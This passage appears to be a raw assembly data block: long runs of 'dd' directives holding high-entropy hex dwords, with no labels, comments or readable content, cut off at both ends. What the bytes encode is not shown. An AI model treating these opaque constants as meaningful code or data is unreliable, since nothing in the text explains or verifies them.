36B52439h dd 1E5D5180h, 0D66F3EEDh, 0AE8FE400h, 0D99565C1h, 323902C6h dd 0B324BE57h, 519DAC90h, 2431D022h, 4080D2BAh, 28392D84h dd 2560D490h, 0A58B14E0h, 1C34E856h, 59FEC171h, 0D080184Ch dd 37483972h, 0F322204h, 4A4E3E65h, 81A62D80h, 0E0B84BD5h dd 59537101h, 49879E64h, 404F099Eh, 2215BB7Bh, 0D713918h dd 4C38992Bh, 0E80C494h, 0F419FDA5h, 8D0988E0h, 0E4484EA1h dd 0F0C8F87Eh, 278511D9h, 9A541108h, 0B51FD422h, 3EF04265h dd 0D8A0F4D2h, 76049AC5h, 0EB0C69Dh, 1D2291BAh, 0F012E58Fh dd 0AD5187E4h, 65219EBCh, 4E22D16h, 0EA83127Ah, 40D85357h dd 4C8A6CACh, 0F2183902h, 5E71A136h, 86D4E95h, 0EA836080h dd 34FB5EEh, 30C5FFEEh, 0C10B1136h, 80F79FAAh, 1EF247EDh dd 3ABF19C9h, 1030401Fh, 15C75779h, 9032B424h, 10D05919h dd 0C1AF102Ah, 21BA0767h, 31A9A055h, 6F18D531h, 7EF7E445h dd 8324ECB8h, 89744274h, 9E82BCA3h, 80EF48F8h, 3FFED919h dd 0D6E0DB79h, 0CF0201E6h, 9389D1C1h, 20B09D35h, 163A5EC4h dd 20172C82h, 6E5C10BBh, 0D0FE8A74h, 380904E2h, 644EDF8Bh dd 61C007E8h, 0D82810h, 120A819h, 0A4825D25h, 1C935E80h dd 5159CE9Ah, 0EE1883Bh, 10911180h, 0F607A164h, 290C0248h dd 5992D476h, 0A888A812h, 86609164h, 215D83DDh, 8D266490h dd 0DA0A8434h, 9E020CBBh, 0A9213667h, 8F6051D0h, 1AA08DBAh dd 0B0444046h, 3E2018B0h, 58148C4Bh, 9128383Ah, 72832130h dd 0C46A2C3Eh, 6985368Ch, 3A00050h, 378789AEh, 210778D8h dd 5AC8FFE7h, 53673h, 5F1AFE29h, 75DDCF53h, 24F58804h dd 4883EB1h, 85689858h, 1B2EE128h, 0A4800E57h, 2862684Fh dd 21482CA0h, 0F9BC90BDh, 6842583Ah, 2000822h, 306063ADh dd 4810F0EDh, 14C81C06h, 8D6E5960h, 1DC02EA7h, 67E58A88h dd 1E924298h, 0D28F0E4h, 22210C68h, 10C33F20h, 0AD2F0C32h dd 1B91C417h, 0DCF7C80h, 100BFB8Dh, 9907DFEh, 8FA8542Dh dd 5CC05752h, 1AD23C6Dh, 5E818F0Fh, 0AE07D2A0h, 5F20AE5Bh dd 250DBA73h, 7C4922E7h, 7DDED0DDh, 66133900h, 6AFAA075h dd 409FBD6Dh, 0FC332308h, 72332321h, 9188177Fh, 67818F31h dd 0B6B1B56Eh, 5C30C118h, 64160BEEh, 0E0D9F7A0h, 4B186279h dd 0D40DC103h, 40BED925h, 0FDAA9048h, 7E386015h, 372F2EEEh dd 89440145h, 0FC85BBE8h, 80F2CBE3h, 0C5449538h, 478834E9h dd 7E4E9CB2h, 0B8B548B6h, 86F004Ah, 0BFCE201Dh, 2E904E4h dd 0BF706AF7h, 9532F028h dd 1711101Fh, 38E48F80h, 9A0BF76Ch, 724F04FEh, 5506442Ch dd 51009670h, 0A77BBC12h, 3861429h, 0BD0789A6h, 0C0F49AEAh dd 9CFB7F58h, 8D725812h, 0E02DD088h, 0E9590097h, 0C8D3D556h dd 0F6B88777h, 0C2698F00h, 77D3D0Bh, 0C74E02B0h, 689E0CBh dd 512D14F3h, 18307938h, 0A0DE07F8h, 527EF521h, 4AC262FDh dd 467E0056h, 18E3964h, 47E49DEAh, 2F2AD989h, 348237Ch dd 5E42AF75h, 89B3D4E0h, 4EFCE500h, 23BA15E9h, 83509B7h dd 981D6824h, 809D2A11h, 0F00C3E41h, 0A71714CFh, 3898332Ch dd 8283B7C9h, 0F9ADF398h, 3FAB81Ch, 0B3CA71B2h, 23E0FF7Fh dd 9C90D509h, 0D041B145h, 0C6CAF02h, 78C17BCh, 55F73B78h dd 95755003h, 0CB00CFCEh, 76F8D8F4h, 4C310ABCh, 7C56708Ah dd 0D77C60F7h, 780B0FE4h, 0C565AF24h, 8879A5A4h, 55779600h dd 1F67EB1Ch, 4472316Ah, 0EE05906Eh, 9D0DA442h, 46E45C32h dd 0AE0040D5h, 0AA674BDh, 0F145C576h, 3A8BA870h, 0B2110E71h dd 0B45C1F05h, 0C64B3043h, 2FFDE39Eh, 8410D019h, 0ACBC8E16h dd 12B04094h, 60E2AEF9h, 19C0F8F7h, 231104h, 95E0B55Dh dd 0EFA0F5D8h, 29103530h, 0A23441h, 625EBDF4h, 0FFA0D1FDh dd 0F72A0401h, 4B66196Eh, 1002F842h, 3C2DE8CFh, 0C214E758h dd 4410190Ch, 0E242847Eh, 832038F4h, 8916BB46h, 0F26CA2ECh dd 12CF304Ah, 0D3CDCA02h, 5776B725h, 6A91649Dh, 0A15A9380h dd 0A504BCB5h, 98D365A9h, 0FBA00C0h, 50A0BFE6h, 0D0F3A7FAh dd 0DC0B7C00h, 0B357D235h, 0A4100139h, 187465FFh, 0D7598059h dd 82CE7361h, 5CD403A9h, 0B05D0FB5h, 80813FF1h, 0DEC85450h dd 0CB03BCA8h, 0CCD2FDD9h, 15FBB700h, 0A3F9BE7Eh, 0ED16010Bh dd 4C821BCBh, 80393135h, 0CA84F629h, 0A6E475h, 872096F3h dd 0D83C04F8h, 1800D678h, 4F365064h, 0F41BD1CEh, 1814654Eh dd 5563C067h, 9E12F6D7h, 0D8B5363Eh, 86C4D0h, 0B308CAE5h dd 5DCF023Ch, 2C12177Bh, 0AC313BB0h, 2838E49Ah, 0E3545301h dd 435B4560h, 11CE1A04h, 46E7C000h, 5599B4E1h, 0F7DB0088h dd 84D5772Fh, 567DEF3Eh, 0F6D039h, 58784DABh, 6FE2D3B2h dd 72004070h, 64B8D2DBh, 0A2C8B00Ch, 1860289Eh, 40403C1Dh dd 5E284645h, 0CF74386Fh, 10E6E40Ch, 0FD82049h, 465F1E74h dd 0C7F19C80h, 2E012157h, 0CA79ED35h, 5CD80937h, 7DD400DFh dd 0FC3D83A4h, 1C770CF3h, 9C3B6600h, 0D4DB7034h, 0B25A1490h dd 9D3044A0h, 0BCF38151h, 9A311760h, 6088E575h, 0C0B08028h dd 0AA1F8095h, 0EC0D7A4Dh, 0CDCC1846h, 3D6F408Dh, 0B158D530h dd 3C0AF3EAh, 0E39F0898h, 944C5406h, 30A25586h, 0B029E41Eh dd 106D590Ch, 0CED50D76h, 0F170CC1Dh, 18198AF9h, 448CC80h dd 5E501ADCh, 728610FDh, 9B141855h, 948534h, 0E5199951h dd 50CBDD60h, 487480A1h, 5B39FCC8h, 297A1699h, 452D0835h dd 0C927F29Eh, 0FB34B0A0h, 1F2F1C07h, 32B280F1h, 182006FDh dd 0B417CC00h, 618AE428h, 373B00C5h, 5F03EAF8h, 203BCE60h dd 1F3003Ch, 5C834D19h, 9F490094h, 9A2145CCh, 661CD325h dd 0A03E3C6h, 0E04672B9h, 6A0E537h, 0F7BF1954h, 21CF184h dd 0D1401D9Ah, 0C65917Bh, 3EF20EB9h, 0C7CC2106h, 28030811h dd 0CD1CF616h, 7FF097ECh, 0F37768h, 0F03D79ABh, 727BDD8Bh dd 8F80CF01h, 383F183Ch, 0E0A4830h, 794B4DEh, 798AAB46h dd 59A5600h, 0F42634Ah, 755E003Ah, 0B6169054h, 7300C9F2h dd 240E1F36h, 771764Ch, 77AC4A1Ch, 0D7007E5Bh, 1B40B381h dd 0AB00ECB8h, 263DB1D6h, 0FF7C0C1h, 0FAD4376Ch, 76D21EA0h dd 0D01EA974h, 0A4C08E83h, 0D6BAB7A1h, 3D0B7462h, 0E9873815h dd 94FF1713h, 0D12B8025h, 0AD01ECE6h, 0FDE3EE91h, 0A44019D5h dd 0E05016h, 0CC24F5C8h, 0B01D7AAFh, 0F0453Dh, 4B5EC327h dd 695EEE1h, 0C24E343Bh, 7B00381Ch, 0B6EA8257h, 221B945Eh dd 5C01A1C6h, 43A2CABCh, 9ADC3F6Fh, 527056h, 0EC3E74AEh dd 1E5BDB3h, 823F103h, 89D1AFEDh, 6AE0D925h, 8214099Fh dd 6020D602h, 9270F7C6h, 3FDC6654h, 36380300h, 1C5983D6h dd 888500FFh, 3DB2F36Eh, 0E41FC2BDh, 92DE57C5h, 781CC140h dd 4DA2F9h, 0BBE01421h, 0E810FA79h, 0F8CE9F07h, 5C5081B9h dd 4288DCh, 59A2F59Ch, 29961E63h, 885B7030h, 0A09D7Ah dd 3E974BA4h, 0A28F61AEh, 2F9656C0h, 0FE877CA7h, 0F9740098h dd 0C78B5871h, 0B4165AE8h, 1E0070CFh, 0B16273CCh, 0EEDD09C9h dd 7023FDECh, 20A891B5h, 3D3ED535h, 7626752Dh, 0D30183E7h dd 5A757AA5h, 53020h, 0EF849799h, 13D919Ch, 6D96A903h dd 0C85CCD13h, 1DB366BCh, 407DBEDBh, 2D4C23EFh, 0C503FBA0h dd 45B67044h, 80A9ABA1h, 6B3F6BEh, 0CE5F2B5h, 0F99820C6h dd 35FE7303h, 0CEE4E49h, 0B67B3F40h, 9406A28h, 0C76B0030h dd 0F34B3DE7h, 2100CFDBh, 7CBC71CDh, 1F462Fh, 0F1D3AC73h dd 6E8395EBh, 0F69F0712h, 422CB800h, 606B0Ah, 4C555C37h dd 8BAD2320h, 0B6AA5F01h, 9DB0691Bh, 8F19F840h, 1629026Bh dd 5A34319Eh, 59B6C480h, 0AF76E0ECh, 0BD00C9B8h, 0B1DEEE4Bh dd 3FEB735Ah, 0E4BA63B8h, 2400353Fh, 0F2C23C7h, 29F013F7h dd 1788CC60h, 0A1A0DF5h, 4C30B8A3h, 0C60101C4h, 0CC402075h dd 0E8032959h, 0C0ED0F7Ch, 0C814EB33h, 76B1955Bh, 0FD7739Bh dd 1A9928C3h, 0B5C04BCEh, 0A30F17FEh, 0BC0907E0h, 234995h dd 152D22FCh, 0D7D204F7h, 81C5553Ah, 0D09398ECh, 0BE0F2BBAh dd 431626E8h, 0D0F64B39h, 3F1EC14h, 0CDAEB017h, 0CB903BC7h dd 98E02FD8h, 8DE2A200h, 0AC68C4FDh, 0F44A0F31h, 1A803C89h dd 0CE019133h, 0D16CEE03h, 0C02C5CE5h, 0A0BE02h, 0F2838058h dd 7D41CF1Eh, 12EE23F6h, 5100227Fh, 9DD6AC2Ah, 0C870B8h dd 50FD1E7Bh, 57AD4792h, 0D2F2DD00h, 33244374h, 7C4F00C8h dd 162D0356h, 1700262Eh, 0FC39C936h, 1D8DEFAh, 3CA389D5h dd 20984C84h, 5B098DB0h, 1F8FBE5h, 59AEDDF9h, 0F2B2D050h dd 93F607B1h, 82658431h, 0C6C055E1h, 78037744h, 6F59CA1Ah dd 0A0185BB1h, 2700B769h, 8613F5B2h, 0E0205Eh, 0EE75CF96h dd 81121B99h, 254FF0Eh, 6FC8C008h, 0F068664Fh, 79EAB8h dd 0EE695763h, 1CC5141Ah, 0C9058AE0h, 37F5D5C8h, 0B17B9000h dd 0EECE890h, 0DF64CEAEh, 0E0A0FB07h, 0A42EF65Ch, 331F7077h dd 0D1CE0416h, 870F806Dh, 7D48BD5Ah, 9C4A0078h, 0C9189019h dd 0D800D15Dh, 0CEF2D423h, 629F5Eh, 74DA4606h, 0BA16A18Ah dd 32FD7D1Dh, 5091D447h, 0B390DB57h, 38843E90h, 0AF00AE7Fh dd 0B4D5E844h, 0E90007D3h, 0C00AC9ACh, 772B3AF8h, 0AF910E10h dd 0CF2037BDh, 82C406DBh, 0CA48C502h, 803D94FFh, 0A01C7BA4h dd 6EB10067h, 811ECF66h, 390F0851h, 0C19AA5F8h, 1F4FB74Bh dd 141C1880h, 866568C0h, 32D85001h, 406418A1h, 26259E8h dd 0CD9D1D35h, 38E8CC90h, 0A73BD04Ah, 0EC7006B1h, 2418E24Ch dd 18A789DDh, 49CA18BFh, 0D5743874h, 78534Ch, 3C1E3F7Dh dd 42D46A3h, 0F5E4E671h, 0CDF8C009h, 9800149Dh, 6B8ADCADh dd 0C09FB156h, 0ACCBFC48h, 4C002505h, 868FFE3h, 599BA75Eh dd 0E62CE4A9h, 42100084h, 5C870EACh, 78FE1B1Dh, 0CDE24540h dd 3AF344Bh, 4F98309Fh, 82CCFDC0h, 0B8605CD8h, 0C30F1EBAh dd 0AF15201Fh, 0C92C00F5h, 13142E21h, 40BE12FAh, 0BCAEBD30h dd 0D800E447h, 0F07C6D87h dd 0ED509Fh, 7E558AE1h, 45C588EEh, 0CEBCD00h, 0B80806ACh dd 0B57B04F7h, 0D009F199h, 4E842FCh, 0E670E900h, 7EA394F3h dd 76CB0F4h, 6D464C1h, 357630C8h, 0C0C0B73Bh, 0E075557Ah dd 7C9807Eh, 63B65E48h, 0A3035AC0h, 1DF18840h, 9F015h dd 0F44E42E9h, 15D321Ah, 1D44E73Ah, 440DC13h, 1D0DA739h dd 0F0C03A51h, 0F5AA4280h, 65A94F1Eh, 0E940EEE2h, 0B1E81626h dd 454C40F9h, 43967F1h, 831DED3Fh, 449576C7h, 0A9FFC03Fh dd 907B00D5h, 0E00A663Bh, 992E368Bh, 2B031970h, 989469C2h dd 1FE53h, 9765BE32h, 3C40790Bh, 0DA614F61h, 0C0FB5C1Ah dd 76B0C4BFh, 0CA7743Fh, 3917616Eh, 662EBAF1h, 2F07A4DEh dd 92CEF186h, 20B7691Ch, 0B0C0A187h, 1807EBB8h, 48B2CCA3h dd 34A0F9D9h, 0F00F38DCh, 9EE23CE9h, 91C580F9h, 0C232D4D3h dd 0BCFD37DDh, 7CBE8128h, 5C9083BAh, 0A1610BE2h, 0CDC8F499h dd 9FC6076Fh, 0A096EE58h, 0D911D4D1h, 0F63DE307h, 0FEA08477h dd 24B83779h, 959CDE8Eh, 0BE3B6462h, 0B2C43372h, 7B88B060h dd 88BA5CFDh, 5005DB0Ch, 0FF7707Ch, 58819519h, 0E90D7287h dd 1E5ACC40h, 6FDF33Dh, 4DAE51E2h, 47501B58h, 0D7F070FCh dd 1AF8AB96h, 0D1417560h, 0CC0E7Ah, 0A6375056h, 18F4465Dh dd 69299764h, 1113F821h, 1911A753h, 828417B1h, 9A297B00h dd 0D1011DFEh, 6F3E1E79h, 0D630415Bh, 0FF61003Ch, 897E19A7h dd 0A200C543h, 9EC00B6Ch, 0D2156Eh, 0C90A6BADh, 0B50770A6h dd 62875C09h, 19E58061h, 0EED4B4E9h, 4C9400DEh, 0AD1178F7h dd 7C1C939Fh, 9140EC07h, 0D602DC5Eh, 6070F10Eh, 0FE782EFDh dd 0B29D0474h, 0AABD028Ch, 0A96900A7h, 0E71E1243h, 0B0D8E803h dd 146F19h, 0B7DFD4A1h, 6555BCEDh, 5FCAE200h, 0D6DB979Bh dd 8576007Eh, 53ED7FCh, 9000F044h, 49D1BC1Bh, 7EFA639h dd 8427822Bh, 575BB08Bh, 0EB00C598h, 0CEFD59B5h, 704CBA5h dd 0D28D12BEh, 91A77078h, 0F9097DC7h, 206CB357h, 9305DF8Ch dd 0E1E300C8h, 0C3109E34h, 6CE2B5CBh, 2A4AF4F3h, 0D9D87603h dd 81BB6147h, 3024F01Dh, 64880073h, 3C985863h, 0B2506FFBh dd 9D065EA7h, 8A70F253h, 0A26B0320h, 0CA9E2393h, 87AC17C9h dd 0F5A922CEh, 0EEAA1FC0h, 803D0097h, 3E0A6369h, 0CA002FA0h dd 0E8409698h, 7259B2E9h, 0F01E1FEAh, 7D4E68Bh, 32E3B646h dd 74681F2Bh, 0F50002EAh, 38D923A9h, 4CA3B0h, 0AF222F9Ch dd 0F00C7A05h, 0EFAAF801h, 19D853A4h, 0B00A07D4h, 0E07A08h dd 0A190618Ah, 3AB14695h, 0A367AF00h, 0E9F1910Fh, 7F5A00F4h dd 84D8F6BAh, 0C92831D9h, 200F852h, 468B0AA8h, 4F426h dd 875BBBC5h, 0A458614Ch, 3E006076h, 7457BC89h, 1616049Ah dd 1DC12A0Bh, 9E408120h, 0F0BA78F9h, 0C8903AEAh, 0E804AA00h dd 0BCA5A902h, 7EE0C04Eh, 4B1BC415h, 310EF4F7h, 605DB7Ch dd 638855AAh, 0EE1E8C43h, 0E2F688B9h, 99133818h, 0A4936280h dd 37B24798h, 65B03Ch, 24F605A6h, 155F2Bh, 873A77DEh, 0BB4FECE3h dd 0D36C6101h, 41CD5337h, 0FC20B057h, 312D6B4h, 82AFABE8h dd 5000DC05h, 0C61C69D2h, 9ABACCh, 3CF35E25h, 3A3E75DBh dd 48DF0726h, 3BFC5180h, 24702Fh, 0FA5A17A3h, 1B753539h dd 924895ECh, 8A7E0F24h, 0F2A6278Bh, 0C8A41F90h, 0B11A0088h dd 0A2277BFDh, 3509AFC6h, 7646178h, 0D2B0B818h, 2CAD0299h dd 105D46h, 269BE73Fh, 0A4F06ECBh, 0E9764418h, 16DCA0Eh dd 0A1C6E066h, 20B2496Ah, 7A76DAE0h, 3E42F80h, 565A1A0Fh dd 5198E903h, 4330C73Bh, 0E7072048h, 0D0391FA6h, 62E6C72Ch dd 6E57D055h, 0EE09367Bh, 0CE5A2Dh, 98FF38F4h, 0AB509F9h dd 0AC6891D0h, 8B008259h, 163E1C2Eh, 0EDFEB2h, 90366AABh dd 273C8334h, 0DB8F311Eh, 0F100CA57h, 0D395C556h, 901C598Ah dd 0A7431E00h, 0D9310D03h, 4100F178h, 300AE5ADh, 11EED6h dd 19E7AB39h, 0B82B80D3h, 0F8E33C3Fh, 0F4C45D00h, 11A63601h dd 0AD5B021Bh, 0E6F25981h, 42AC4C0h, 40DC48h, 0AB46EEC5h dd 762E43h, 265EC325h, 0B033C81Ch, 0FE421601h, 7CD4D532h dd 7D305FC4h, 72A101DBh, 36F5E549h, 8FB020DAh, 53562607h dd 68914C0Dh, 5F09D86h, 988A7D02h, 25FEC04h, 76FBA172h dd 1840E04Bh, 6100B8EBh, 9D7C4DEEh, 7C029A1Ah, 0F52C00AEh dd 8395B623h, 0FF2E0B9Eh, 0CF9CD8EBh, 8E531E09h, 98B301D2h dd 0E9F8C9BAh, 784302B0h, 0E4675B7Bh, 61C6848h, 6E111D00h dd 569D2F96h, 247E0097h, 457DD83h, 6004BAC3h, 0ADB95217h dd 9810D080h, 1AA08345h, 53003A96h, 0EE4A5EBFh, 754BABh dd 0FDE64F28h, 61F732E0h, 30382E30h, 2D95DEh, 1535FA7Ah dd 2F9B2242h, 0AAFC7C01h, 93234518h, 1FE52080h, 0E7CFFEEDh dd 0CA02EB0Fh, 1094FE9h, 0CC0AF476h, 16A0C8ECh, 580E6Bh dd 0AD34C55Ch, 0D02A4026h, 0A70084F0h, 0A4CDFB67h, 381109h dd 0CA9C91AAh, 0EF49262Bh, 84002498h, 0CB31F5F7h, 1F2E0E89h dd 9F2945C2h, 8FA40003h, 0EB4E5195h, 1268700Ah, 8A0408EEh dd 0A5C02648h, 397BD3D8h, 3780C1BAh, 13E2272Ch, 340016A6h dd 0F2B62BACh, 77F14D7Dh, 37091E9Dh, 73C0C09Ch, 55101859h dd 1629F600h, 84E7DB4Ch, 0B7A600E4h, 0D7374217h, 0E000098Ch dd 4ECC88B0h, 4AFFF3h, 0EA1DB8BCh, 80D1CB5h, 0E4B09501h dd 0D5E60ECAh, 0A027C860h, 4C1EDAC6h, 0DC00D501h, 20E79119h dd 1300360Fh, 0F2B8F3CBh, 98788114h, 0ADE46Ah, 800C289Bh dd 9386D7EBh, 2566740Ch, 384F94D9h, 0F580BBF0h, 0A5F819E3h dd 1E00F229h, 0FD609CB5h, 0FF2EA4h, 2C5CC538h, 0AC4D77E5h dd 0C8FC6B00h, 4F7C0226h, 4771CEh, 35F5E686h, 0C37F10AEh dd 0B964FC00h, 0F2F0A991h, 0C8E2002Fh, 0FB558A2Ah, 0DE0035E3h dd 77B4BBCCh, 121FE111h, 44F7EC8Bh, 92ADF640h, 2C489D24h dd 44011733h, 7D309224h, 2080ABFBh, 6F4B80Dh, 0E300DFC8h dd 0ED71D21Ah, 0EEC731h, 73D402ECh, 169388D0h, 0B285948h dd 60A53CCDh, 48441F74h, 923F868Bh, 2DC6B000h, 85C7A7B3h dd 1EA2995Ch, 2B85DD61h, 0C0006DC3h, 51DC587Ch, 91860331h dd 0AF1A85C5h, 77A480A5h, 0D3005FB3h, 69D0B426h, 16993A50h dd 4FCBA81Ah, 0EC9D7110h, 57748064h, 56FC6978h, 4B5A0601h dd 0A168ABC3h, 0B126828h, 0B47821ECh, 1EAC3863h, 219E76D3h dd 485E674Ch, 8DE20022h, 0DE877F6Eh, 8C78DDC2h, 8F805A7Eh dd 91980ED4h, 320E935h, 9D6261CDh, 83C03B48h, 98B07B5Ah dd 20468Ah, 0D2D6FAEAh, 4728A880h, 98240F00h, 39AC7CD8h dd 354735Fh, 995C73FFh, 0A4E4DEDCh, 0D409EBC0h, 64FBD91Ch dd 1F144040h, 0E8AA08E5h, 1A612179h, 0A9227190h, 5FB5A140h dd 1848187Ch, 18A81C61h, 0F136DE67h, 80881899h, 0F8B10238h dd 0B7D10068h, 0BE47B258h, 4F28F9DBh, 252E8E4h, 64124A24h dd 8910149Fh, 3E9E078Bh, 0EB0659BEh, 2D850064h, 0D543242h dd 2096B8A0h, 0B171C54Fh, 383F84Fh, 0B0BE2FC9h, 1D7717CBh dd 0E3399E4h, 18B7B826h, 0F39D28FAh, 0F44D7301h, 0E9DAF107h dd 9ECF36F0h, 0E2A88010h, 65734631h, 344F54A0h, 9A773Eh dd 926CB8D2h, 7348D79Ch, 84BE05B0h, 1DFA99D8h, 0B1DA0198h dd 2A33D036h, 51190806h, 23E30008h, 60F95883h, 0E169EE50h dd 27AB0170h, 0CB61F6E4h, 494ADC40h, 4A37B6Bh, 0CE98840Eh dd 0BEE8C16Dh dd 2E582054h, 9FCA904h, 0FCC04EEFh, 45447Eh, 0F8AE1E1Ch dd 0A74F3B0Bh, 14464100h, 66C45BA2h, 0D5670F71h, 0D4814A30h dd 0C06C337Fh, 3800F142h, 276860B2h, 0F2941Ch, 89753036h dd 0A7FF5B98h, 0B9D37E00h, 58667D7h, 28B0A1h, 4E296A74h dd 0B025F29Fh, 401B3501h, 28F37D2Ch, 0DB83D8h, 0A2133287h dd 0DAB7C384h, 9866C00h, 830E0A91h, 265C0054h, 7E366682h dd 2000F935h, 0FEE6023h, 94ABAD5h, 460ED9ACh, 93722051h dd 43FE534h, 2C1F51E8h, 0DD04E237h, 0C0A8B33Bh, 98CBC10h dd 5075689Ah, 1F8122D4h, 50B2A222h, 44FD14D0h, 22849DE8h dd 0C442B026h, 21EA7011h, 0AF9E08A9h, 0B984F890h, 424548E9h dd 0EC248AF1h, 17ED4821h, 88454218h, 0A68B082Eh, 6D2932E5h dd 89810D10h, 44B70834h, 2A44F9D9h, 289D44B1h, 11DB28A9h dd 0D7112B15h, 115C129Ch, 2114422Eh, 24F2F111h, 0D0B52170h dd 3C82BD12h, 6424972Eh, 78654140h, 4F05A3FCh, 5789D6E6h dd 4EA5FE80h, 840F00D7h, 0EC30BC2Fh, 0CD2E69A2h, 0E2005F33h dd 0D668470Bh, 0FB540038h, 556109EAh, 7C07646Bh, 4DCC9F37h dd 4020D2A0h, 94560474h, 0E0BA41C9h, 0D800F23Ch, 0E406B8B3h dd 14C8AFh, 0CE3BA8E7h, 45120EA5h, 2AEBCF00h, 0D003AA06h dd 0EE3F0046h, 5BDC53ABh, 1900C415h, 0F8D226CDh, 30646E86h dd 2A11717Dh, 0C1FC350Ah, 0FE923D00h, 0B53B8637h, 3CBC0047h dd 89882373h, 0B000338Eh, 0EF9F3851h, 95030B9h, 0A2680214h dd 0A4406424h, 0E100FEC8h, 5F7EF308h, 0B8B955AEh, 0B65E1254h dd 0F6D480C5h, 63178FA4h, 0BC0079DCh, 0A01EA77Eh, 4E680025h dd 9FF41A28h, 4A046163h, 0D49D8342h, 88A5E9C0h, 90B5B26h dd 50E0D1E4h, 6CB976FAh, 39405D1Eh, 0B12E43A0h, 9AEF0F24h dd 9F00A845h, 0AA361CA3h, 83388095h, 0BAB59481h, 47CC0760h dd 0B23062Bh, 0E8BD50C1h, 0C2E89B7Ah, 9C807100h, 106192E3h dd 0C9E803CAh, 2C0D7222h, 57C6D000h, 774DCE7Dh, 51AF00FAh dd 5BE890AEh, 0F038762h, 0ABB3B7F3h, 0A67AF0EBh, 706D0047h dd 6CACBD4Dh, 0D300C6FCh, 1DC40171h, 7E6B5DA0h, 0CAF30A69h dd 0B08432h, 0B03CA906h, 84958B5Fh, 58AC9B50h, 80A38A1Dh dd 0B430B348h, 0EE020568h, 7CD3B854h, 3C28785Eh, 7780BD59h dd 0C9DD8566h, 0F924E8F2h, 0D1003C3Ah, 0D0254595h, 0FE8E0059h dd 0BECA8CA8h, 4F00D7F1h, 4710719Bh, 0FD1E3Fh, 0AEE23B72h dd 0EF067B8Eh, 9541D05h, 0EC40F882h, 96BE1325h, 727B40A6h dd 0D9458500h, 8E030F9h, 0A4B8C6h, 9E27FF23h, 0DA9F5A3h dd 214D4DFAh, 1872588h, 65CDB17Ch, 0CEECB8F7h, 670FCACh dd 0DD12B596h, 50FA1198h, 2262BA1Ch, 69630680h, 10EBFDh dd 269D7314h, 0DF3142BFh, 0B3359300h, 2AC18F70h, 0AE180711h dd 40D0BA4Ah, 0E3F97495h, 0B659100h, 0B3CFA00Fh, 14773A3Dh dd 0C4E2010Ah, 9C3A01E8h, 8387A4ACh, 21DFD9D8h, 363CD891h dd 0E7240977h, 0F87041FEh, 557C4600h, 0F2DFC101h, 39150FEAh dd 0B6817ED3h, 0DCF181A1h, 0C3E058D8h, 0D9AD1C00h, 2EA66966h dd 830A28A2h, 1F1EC84h, 0E33768F4h, 0D0355F6Ah, 392666F6h dd 300F1BE2h, 2069E0DBh, 0AC45CDh, 0C6A45B3Fh, 0F2043B1Fh dd 899060E4h, 61353D1Dh, 3C58947Bh, 0ED2909F8h, 8F88596Dh dd 0D5E05270h, 80284389h, 0D4807CB4h, 0CCAA9277h, 0EDE70108h dd 0D36D3F7Fh, 698AF4DCh, 0D13B0700h, 8059CAB0h, 8E9CA1F5h dd 0FB53F0h, 0AD4531E7h, 0E86FA4DDh, 9C56EA00h, 265EAF68h dd 0C7900086h, 0D8A5AB36h, 0B5008142h, 0C2172159h, 6EC84Dh dd 827F990Dh, 7631CF1h, 0B9F9E100h, 0C295F3B5h, 0D9FA0004h dd 2DB63888h, 200A511h, 0CD9E7525h, 4820C2A6h, 0E30028C7h dd 0E773D418h, 0EB12CC08h, 0C0C302DFh, 0E0E2F00Dh, 32F6801Ah dd 0FA80009Eh, 0A0801BA7h, 65F50452h, 0C0192FC3h, 7A50CD51h dd 3E095C02h, 0D99A9FB0h, 808D0490h, 0D69CB01Bh, 88762500h dd 62201AA7h, 0DDBB0C03h, 0A621EC10h, 0F959220Fh, 0C9F220B5h dd 1A43AE7h, 0B3DB40Fh, 0F21EAE06h, 0C44B8880h, 0F8A105E2h dd 0F49AED20h, 5E12CB37h, 0A00E3A6h, 81109BB3h, 7E680077h dd 0E25212D8h, 13040864h, 5C6B2497h, 0A80E34C3h, 94BCBFh dd 509EF256h, 8FCE4E2Ch, 0DD0B3426h, 37AD9100h, 115E3Dh dd 0AACA6FBAh, 0A99E749Fh, 3A1E1000h, 360F5876h, 3F9900CEh dd 7BB281FBh, 147FAD88h, 39DA6000h, 1933FD7Dh, 6FEA000Fh dd 0DECDD48h, 6500A542h, 6B8599F9h, 896602h, 0B1ABB840h dd 8A5F7CD7h, 0BDE37500h, 73C6F6C8h, 0B09FFC15h, 31C20E2Ch dd 492C9611h, 371CA63Ah, 4E419813h, 2FA76901h, 4BA12081h dd 0FC74BABDh, 6600A6C8h, 73A5CA0Dh, 0CED112h, 54ACFF68h dd 4F4D5A9Fh, 0E1116609h, 0AB389039h, 87E30033h, 74B05292h dd 420B8166h, 19D018h, 9D69A194h, 38F00CDh, 5C1A1E39h dd 0C2E411ECh, 0DBE04B00h, 522368E5h, 0A5EC33h, 8510D77Ch dd 0BE1F012Eh, 0F2303900h, 8EA94425h, 3DFB004Ch, 0C104959Bh dd 0E5013673h, 2E3F8A48h, 97F4A866h, 217400FBh, 65661D0h dd 0C501FAF1h, 8C9A20FFh, 9CC4A112h, 77490C9h, 5F488467h dd 0EF389064h, 4600AE73h, 4F816A6Dh, 0C08674F6h, 779E6720h dd 0C679A21Fh, 0F4A81B00h, 0F1AD2E94h, 0A623008Fh, 74A19BF2h dd 74905795h, 0C63BAC01h, 36160599h, 266BADCCh, 40D7F3h dd 0C789FA37h, 0B00EE5Bh, 95DB541h, 0A27418FCh, 27C040A0h dd 350E0002h, 2E12F9D7h, 7A01E626h, 4F83AB54h, 0A8300CECh dd 305FA24h, 14084693h, 0C0FC7537h, 0B7924B06h, 8200C398h dd 8DE1D4BCh, 9097EF9Ch, 43C00025h, 2AB811EBh, 480070C1h dd 6D7C4A73h, 1CE901A1h, 80A8CC1Bh, 22E067F9h, 0BF01FAC3h dd 0CF7E8DCh, 90C03476h, 8ABE005Bh, 887559C0h, 300FD56h dd 674A96BDh, 23E13Ah, 1177E0DFh, 56CE8BB9h, 9BDA0300h dd 0BBC2057Fh, 0B6021C55h, 4B1CC093h, 4C26DBFBh, 52C8A201h dd 2975F5B2h, 1C00A078h, 0C53150AFh, 5A1792D1h, 0A112E5D2h dd 0D936F800h, 2F5D6Ch, 3D72F2DBh, 31636ECBh, 6BF3DA0Bh dd 61798738h, 0A4E0B547h, 2ACA347h, 3C93778Eh, 38604CA9h dd 8D027596h, 0B0382299h, 81F8603Dh, 25F50045h, 0AF0965D4h dd 0A490CD6Eh, 0C0B47125h, 481EEBB8h, 53165655h, 6CE40359h dd 13E81C3Ch, 2C9ACA63h, 2E350D02h, 40F2662Bh, 37D5120h dd 0E070673Fh, 22D22F1Fh, 